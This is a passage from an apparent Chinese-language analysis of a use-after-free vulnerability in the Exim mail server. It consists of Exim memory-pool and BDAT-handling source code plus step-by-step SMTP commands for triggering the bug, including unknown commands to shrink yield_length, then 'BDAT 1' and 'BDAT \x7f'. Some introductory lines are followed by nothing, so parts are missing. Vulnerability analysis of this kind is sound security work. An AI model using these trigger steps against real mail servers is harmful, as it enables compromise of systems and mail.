class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="com">/* There's (now) enough room in the current block; the yield is the next</span></code></li><li class="L6"><code><span class="com">pointer. */</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers from</span></code></li><li class="L1"><code><span class="com">giving warnings. */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L4"><code><span class="pln">filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L6"><code><span class="com">#else</span></code></li><li class="L7"><code><span class="pln">DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln">    debug_printf</span><span class="pun">(</span><span class="str">"---%d Get %5d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">  </span><span class="kwd">else</span></code></li><li class="L2"><code><span class="pln">    debug_printf</span><span class="pun">(</span><span class="str">"---%d Get %6p %5d %-14s %4d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln">      store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> size</span><span class="pun">,</span><span class="pln"> filename</span><span class="pun">,</span><span class="pln"> linenumber</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pln">  </span><span class="pun">}</span></code></li><li class="L5"><code><span class="com">#endif</span><span class="pln">  </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_UNDEFINED</span><span class="pun">(</span><span class="pln">store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L8"><code><span class="com">/* Update next pointer and number of bytes left in the current block. */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="kwd">return</span><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L4"><code><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pln">BOOL</span></code></li><li class="L8"><code><span class="pln">store_extend_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">ptr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> newsize</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln">  </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pun">{</span></code></li><li class="L1"><code><span class="kwd">int</span><span class="pln"> inc </span><span class="pun">=</span><span class="pln"> newsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">;</span></code></li><li class="L2"><code><span class="kwd">int</span><span class="pln"> rounded_oldsize </span><span class="pun">=</span><span class="pln"> oldsize</span><span class="pun">;</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">rounded_oldsize </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pln">  rounded_oldsize </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">rounded_oldsize </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">CS ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> CS </span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L8"><code><span class="pln">    inc </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln">  </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers from</span></code></li><li class="L2"><code><span class="com">giving warnings. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L5"><code><span class="pln">filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L7"><code><span class="com">#else</span></code></li><li class="L8"><code><span class="pln">DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln">    debug_printf</span><span class="pun">(</span><span class="str">"---%d Ext %5d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> newsize</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">  </span><span class="kwd">else</span></code></li><li class="L3"><code><span class="pln">    debug_printf</span><span class="pun">(</span><span class="str">"---%d Ext %6p %5d %-14s %4d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">,</span><span class="pln"> newsize</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln">      filename</span><span class="pun">,</span><span class="pln"> linenumber</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln">  </span><span class="pun">}</span></code></li><li class="L6"><code><span class="com">#endif</span><span class="pln">  </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newsize </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> newsize </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newsize </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> CS ptr </span><span class="pun">+</span><span class="pln"> newsize</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln">yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> newsize </span><span class="pun">-</span><span class="pln"> rounded_oldsize</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_UNDEFINED</span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">+</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> inc</span><span class="pun">);</span></code></li><li class="L2"><code><span class="kwd">return</span><span class="pln"> TRUE</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="kwd">void</span></code></li><li class="L7"><code><span class="pln">store_release_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">block</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pun">{</span></code></li><li class="L9"><code><span class="pln">storeblock </span><span class="pun">*</span><span class="pln">b</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* It will never be the first block, so no need to check that. */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">=</span><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span><span class="pln"> b </span><span class="pun">!=</span><span class="pln"> NULL</span><span class="pun">;</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln">  storeblock </span><span class="pun">*</span><span class="pln">bb </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">bb </span><span class="pun">!=</span><span class="pln"> NULL </span><span class="pun">&&</span><span class="pln"> CS block </span><span class="pun">==</span><span class="pln"> CS bb </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln">    b</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bb</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln">    pool_malloc </span><span class="pun">-=</span><span class="pln"> bb</span><span class="pun">-></span><span class="pln">length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln">    </span><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers</span></code></li><li class="L2"><code><span class="com">    from giving warnings. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">    </span><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L5"><code><span class="pln">    filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">    linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln">    </span><span class="com">#else</span></code></li><li class="L8"><code><span class="pln">    DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln">      </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln">      </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln">        debug_printf</span><span class="pun">(</span><span class="str">"-Release       %d\n"</span><span class="pun">,</span><span class="pln"> pool_malloc</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">      </span><span class="kwd">else</span></code></li><li class="L3"><code><span class="pln">        debug_printf</span><span class="pun">(</span><span class="str">"-Release %6p %-20s %4d %d\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">bb</span><span class="pun">,</span><span class="pln"> filename</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln">          linenumber</span><span class="pun">,</span><span class="pln"> pool_malloc</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln">      </span><span class="pun">}</span></code></li><li class="L6"><code><span class="pln">    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln">      memset</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">,</span><span class="pln"> bb</span><span class="pun">-></span><span class="pln">length</span><span class="pun">+</span><span class="pln">ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln">    </span><span class="com">#endif</span><span class="pln">  </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">    free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">    </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln">  </span><span class="pun">}</span></code></li><li class="L4"><code><span class="pun">}</span></code></li></ol>

UAF漏洞所涉及的关键函数:

还有4个重要的全局变量:

第一步

发送一堆未知的命令去调整 yield_length 的值,使其小于0x100。

yield_length 表示的是堆还剩余的长度,每次命令的处理使用的是 src/receive.c 代码中的 receive_msg 函数

在该函数处理用户输入的命令时,使用 next->text 来储存用户输入,在1709行进行的初始化:

<ol class="linenums"><li class="L0"><code><span class="lit">1625</span><span class="pln">  </span><span class="kwd">int</span><span class="pln">  header_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="lit">1709</span><span class="pln">  </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li></ol>

在执行1709行代码的时候,如果 0x100 > yield_length 则会执行到 newblock = store_malloc(mlength); ,使用glibc的malloc申请一块内存,为了便于之后的描述,这块内存我们称为heap1。

根据 store_get_3 中的代码,这个时候:

第二步

发送 BDAT 1 ,进入 receive_msg 函数,并且让 receive_getc 变为 bdat_getc

第三步

发送 BDAT \x7f

相关代码在 src/smtp_in.c 中的 bdat_getc 函数:

<ol class="linenums"><li class="L0"><code><span class="kwd">int</span></code></li><li class="L1"><code><span class="pln">bdat_getc</span><span class="pun">(</span><span class="kwd">unsigned</span><span class="pln"> lim</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln"> user_msg </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln"> log_msg</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="kwd">for</span><span class="pun">(;;)</span></code></li><li class="L7"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln">  BOOL dkim_save</span><span class="pun">;</span></code></li><li class="L0"><code><span class="com">#endif</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_data_left </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln">    </span><span class="kwd">return</span><span class="pln"> lwr_receive_getc</span><span class="pun">(</span><span class="pln">chunking_data_left</span><span class="pun">--);</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln">  receive_getc </span><span class="pun">=</span><span class="pln"> lwr_receive_getc</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">  receive_getbuf </span><span class="pun">=</span><span class="pln"> lwr_receive_getbuf</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln">  receive_ungetc </span><span class="pun">=</span><span class="pln"> lwr_receive_ungetc</span><span class="pun">;</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln">  dkim_save </span><span class="pun">=</span><span class="pln"> dkim_collect_input</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln">  dkim_collect_input </span><span class="pun">=</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L1"><code><span class="com">#endif</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">  </span><span class="com">/* Unless PIPELINING was offered, there should be no next command</span></code></li><li class="L4"><code><span class="com">  until after we ack that chunk */</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">pipelining_advertised </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">check_sync</span><span class="pun">())</span></code></li><li class="L7"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln">    </span><span class="kwd">unsigned</span><span class="pln"> n </span><span class="pun">=</span><span class="pln"> smtp_inend </span><span class="pun">-</span><span class="pln"> smtp_inptr</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln">    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">n </span><span class="pun">></span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> n </span><span class="pun">=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln">    incomplete_transaction_log</span><span class="pun">(</span><span class="pln">US</span><span class="str">"sync failure"</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">    log_write</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">|</span><span class="pln">LOG_REJECT</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP protocol synchronization error "</span></code></li><li class="L3"><code><span class="pln">      </span><span class="str">"(next input sent too soon: pipelining was not advertised): "</span></code></li><li class="L4"><code><span class="pln">      </span><span class="str">"rejected \"%s\" %s next input=\"%s\"%s"</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln">      smtp_cmd_buffer</span><span class="pun">,</span><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">),</span></code></li><li class="L6"><code><span class="pln">      string_printing</span><span class="pun">(</span><span class="pln">string_copyn</span><span class="pun">(</span><span class="pln">smtp_inptr</span><span class="pun">,</span><span class="pln"> n</span><span class="pun">)),</span></code></li><li class="L7"><code><span class="pln">      smtp_inend </span><span class="pun">-</span><span class="pln"> smtp_inptr </span><span class="pun">></span><span class="pln"> n </span><span class="pun">?</span><span class="pln"> </span><span class="str">"..."</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">""</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln">    </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">554</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln">      US</span><span class="str">"SMTP synchronization error"</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln">    </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">  </span><span class="com">/* If not the last, ack the received chunk.  The last response is delayed</span></code></li><li class="L4"><code><span class="com">  until after the data ACL decides on it */</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun">==</span><span class="pln"> CHUNKING_LAST</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln">    dkim_exim_verify_feed</span><span class="pun">(</span><span class="pln">NULL</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">);</span><span class="pln">    </span><span class="com">/* notify EOD */</span></code></li><li class="L0"><code><span class="com">#endif</span></code></li><li class="L1"><code><span class="pln">    </span><span class="kwd">return</span><span class="pln"> EOD</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">  smtp_printf</span><span class="pun">(</span><span class="str">"250 %u byte chunk received\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> chunking_datasize</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln">  chunking_state </span><span class="pun">=</span><span class="pln"> CHUNKING_OFFERED</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">  DEBUG</span><span class="pun">(</span><span class="pln">D_receive</span><span class="pun">)</span><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"chunking state %d\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln">chunking_state</span><span class="pun">);</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">  </span><span class="com">/* Expect another BDAT cmd from input. RFC 3030 says nothing about</span></code></li><li class="L9"><code><span class="com">  QUIT, RSET or NOOP but handling them seems obvious */</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln">next_cmd</span><span class="pun">:</span></code></li><li class="L2"><code><span class="pln">  </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L3"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L4"><code><span class="pln">    </span><span class="kwd">default</span><span class="pun">:</span></code></li><li class="L5"><code><span class="pln">      </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln">    US</span><span class="str">"only BDAT permissible after non-LAST BDAT"</span><span class="pun">);</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">  repeat_until_rset</span><span class="pun">:</span></code></li><li class="L9"><code><span class="pln">      </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L0"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln">    </span><span class="kwd">case</span><span class="pln"> QUIT_CMD</span><span class="pun">:</span><span class="pln">    smtp_quit_handler</span><span class="pun">(&</span><span class="pln">user_msg</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">log_msg</span><span class="pun">);</span><span class="pln">    </span><span class="com">/*FALLTHROUGH */</span></code></li><li class="L2"><code><span class="pln">    </span><span class="kwd">case</span><span class="pln"> EOF_CMD</span><span class="pun">:</span><span class="pln">    </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">    </span><span class="kwd">case</span><span class="pln"> RSET_CMD</span><span class="pun">:</span><span class="pln">    smtp_rset_handler</span><span class="pun">();</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">    </span><span class="kwd">default</span><span class="pun">:</span><span class="pln">    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln">                      US</span><span class="str">"only RSET accepted now"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln">              </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln">            </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">    </span><span class="kwd">case</span><span class="pln"> QUIT_CMD</span><span class="pun">:</span></code></li><li class="L1"><code><span class="pln">      smtp_quit_handler</span><span class="pun">(&</span><span class="pln">user_msg</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">log_msg</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">      </span><span class="com">/*FALLTHROUGH*/</span></code></li><li class="L3"><code><span class="pln">    </span><span class="kwd">case</span><span class="pln"> EOF_CMD</span><span class="pun">:</span></code></li><li class="L4"><code><span class="pln">      </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln">    </span><span class="kwd">case</span><span class="pln"> RSET_CMD</span><span class="pun">:</span></code></li><li class="L7"><code><span class="pln">      smtp_rset_handler</span><span class="pun">();</span></code></li><li class="L8"><code><span class="pln">      </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">    </span><span class="kwd">case</span><span class="pln"> NOOP_CMD</span><span class="pun">:</span></code></li><li class="L1"><code><span class="pln">      HAD</span><span class="pun">(</span><span class="pln">SCH_NOOP</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln">      smtp_printf</span><span class="pun">(</span><span class="str">"250 OK\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln">      </span><span class="kwd">goto</span><span class="pln"> next_cmd</span><span class="pun">;</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln">    </span><span class="kwd">case</span><span class="pln"> BDAT_CMD</span><span class="pun">:</span></code></li><li class="L6"><code><span class="pln">      </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln">      </span><span class="kwd">int</span><span class="pln"> n</span><span class="pun">;</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln">      </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln">    </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">501</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln">      US</span><span class="str">"missing size for BDAT command"</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln">    </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L5"><code><span class="pln">      chunking_state </span><span class="pun">=</span><span class="pln"> strcmpic</span><span class="pun">(</span><span class="pln">smtp_cmd_data</span><span class="pun">+</span><span class="pln">n</span><span class="pun">,</span><span class="pln"> US</span><span class="str">"LAST"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span></code></li><li class="L6"><code><span class="pln">    